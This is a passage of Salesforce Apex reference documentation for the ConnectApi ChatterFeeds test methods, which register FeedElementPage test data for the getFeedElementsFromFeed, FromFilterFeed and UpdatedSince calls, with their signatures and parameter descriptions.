pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly,
result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
1042
ChatterFeeds ClassReference
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean
showInternalOnly, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
1043
ChatterFeeds ClassReference
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
35.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.
1044
ChatterFeeds ClassReference
subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
1045
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
filter)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,
recentCommentCount, elementsPerClump, density, pageParam, pageSize, sortParam,
showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedElementPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
1046
ChatterFeeds ClassReference
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly)
Testing ConnectApi Code
1047
ChatterFeeds ClassReference
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,
recentCommentCount, elementsPerClump, density, pageParam, pageSize, sortParam,
showInternalOnly, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
32.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter
filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
1048
ChatterFeeds ClassReference
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly, filter)
Testing ConnectApi Code
1049
ChatterFeeds ClassReference
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,
result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)
Testing ConnectApi Code
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,
pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.
1050
ChatterFeeds ClassReference
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
1051
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, elementsPerClump, density, pageParam, pageSize, sortParam,
result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
1052
ChatterFeeds ClassReference
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId,
keyPrefix, recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, result)
Registers a ConnectApi.FeedElementPage object to be returned when the
getFeedElementsFromFilterFeedUpdatedSince method is called in a test context.
API Version
31.0
1053
ChatterFeeds ClassReference
Signature
public static Void setTestGetFeedElementsFromFilterFeedUpdatedSince(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
1054
ChatterFeeds ClassReference
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump,
density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, updatedSince, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedElementPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
1055
ChatterFeeds ClassReference
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, updatedSince, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
32.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)
1056
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
result
Type: ConnectApi.FeedElementPage
1057
ChatterFeeds ClassReference
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
Testing ConnectApi Code
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, updatedSince, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of these values:
•Files
•Groups
•News
•People
•Record
subjectId
Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
1058
ChatterFeeds ClassReference
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Testing ConnectApi Code
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
1059
ChatterFeeds ClassReference
API Version
31.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
Boolean showInternalOnly, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
1060
ChatterFeeds ClassReference
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Testing ConnectApi Code
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, elementsPerBundle, density, pageParam, pageSize,
updatedSince, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
35.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.
subjectId
Type: String
1061
ChatterFeeds ClassReference
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, updatedSince, filter)
Testing ConnectApi Code
1062
ChatterFeeds ClassReference
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
1063
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, updatedSince, showInternalOnly)
Testing ConnectApi Code
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
32.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)
1064
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
